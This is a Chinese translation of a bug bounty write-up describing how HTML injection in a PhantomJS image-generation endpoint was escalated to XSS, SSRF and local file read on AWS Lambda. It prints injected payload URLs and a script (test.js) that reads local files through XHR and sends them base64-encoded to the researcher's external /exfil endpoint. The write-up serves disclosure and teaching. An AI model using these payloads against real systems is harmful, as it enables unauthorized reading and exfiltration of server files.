我最近偶然发现了一个赏金计划的请求,该计划接受用户输入并生成一张图片供您下载。经过一番探索,我能够从图片内部的 XSS 升级到服务器上的任意本地文件读取。这是一个私人计划,所以我会尽我所能尽可能多地隐去信息。
最初的请求看起来是这样的:
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500
它将输出如下文件:
我最初关注的是后台请求变量,因为它指定了一个文件名,我认为这个变量看起来最有趣。在稍微调整了一下参数后,我注意到标头请求变量容易受到某种形式的 HTML 注入攻击。我读过一些关于 PDF 内部 XSS 导致严重漏洞的文章,所以我决定追踪一下。
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500
输出:
开始放入随机 HTML 元素后,我注意到几乎所有元素都在渲染:iframe、img、script 等。我决定以自己的服务器为目标,看看是否可以获得有关处理 HTML 的更多信息。
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500
回复:
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
请求中的 User-Agent 表示他们正在使用无头浏览器客户端PhantomJS加载 HTML 页面并生成图像数据。我已经对 Phantom 有一些经验,因为它经常用于 CTF,而且我在我的在线扫描仪中使用它来捕获网站的屏幕截图。这是一件值得提早注意的事情,因为它解释了我在尝试利用此漏洞时遇到的一些问题。
我遇到的第一个问题是,JavaScript 无法使用基本有效负载持续执行。<script></script> 无法正确执行。<img src=x onerror=> 无法持续触发。我想我在 100 次尝试中成功进行了一次 window.location 重定向。在某些情况下,有效负载根本无法执行。最重要的是,当我尝试重定向到另一个页面时,我遇到了一些服务器异常:
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500
回复:
{"message": "Internal server error"}.
我尝试了大概 50 种不同类型的有效载荷,直到我意识到问题实际上出在 PhantomJS 中似乎存在某种竞争条件。我在用扫描仪为 Phantom 编写插件时也遇到了类似的问题,在尝试捕获一些屏幕截图时,它不会等待 JavaScript 完全加载。
我需要找到一种方法让 Phantom 等待我的 JavaScript 加载,然后再尝试完成屏幕截图的渲染。在尝试了几种不同的想法后,我使用 document.write 完全覆盖了页面内容,这似乎解决了问题。我不知道为什么,但它确实有效。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500
此时,每次页面加载时,JavaScript 执行都一致。我需要采取的下一步是收集有关 PhantomJS 的更多信息以及执行内容和位置的上下文。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500
有趣的是,我们从 file:// 的源执行,它是 /var/task/ 中的一个 HTML 文件。现在我想看看我是否可以 <iframe> 该文件,只是为了验证我与 /var/task/ 处于同一源。
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500
现在我知道我至少可以加载 /var/task/ 中的文件,所以接下来我要做的是看看我是否可以加载其他文件,例如 /etc/ 中的文件。
&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
没有回应。🙁
我搜索了有关 /var/tasks 的更多信息,发现它与 AWS Lambda 有关。这让我想到了同一文件夹中的几个文件,这些文件应该包含 Phantom 插件的源代码,例如 /var/task/index.js。我认为我在 /var/ 中可以访问的文件内容可能会给我更多信息,或者至少包含一些值得报告的内容。
使用 XHR 并发出 Ajax 请求,我应该能够加载文件内容并将其显示在图像中或将其导出到我的服务器。我在将此 JavaScript 直接放入 document.write 中时遇到了其他问题,最终发现我可以加载外部脚本,这样就可以避免这些问题。
有效载荷:
&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>
测试.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///var/task/[redacted].html");
oReq.send();
在不暴露敏感数据的情况下很难显示其结果,因此这里只是提供您可能在访问日志中看到的内容的一个想法。
现在,我可以在 file:// 上下文中使用带外 JavaScript 和 XHR 读取任意文件。我再次将脚本指向 /etc/passwd,只是为了看看这是否可以在 iframe 不起作用的情况下工作。
轰!当 PhantomJS 加载 <iframe src=”file://”> 中的文件时,XHR 却可以完全访问 file:// 上下文,只不过出于某种原因,无法访问。
事后看来,XSS 有效载荷似乎微不足道,但要做到这一点需要付出很多努力和猜测。这是那些奇怪的赏金之一,你感觉你是在尝试在 CTF 挑战中获得一面旗帜,而不是试图利用生产服务器。我从中得到的最大收获是,那些花在试图击败晦涩难懂的 CTF 挑战上的所有周末可能最终都是有用的。
Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read
https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):PhantomJS 图像渲染中的 XSS 漏洞升级为 SSRF/本地文件读取漏洞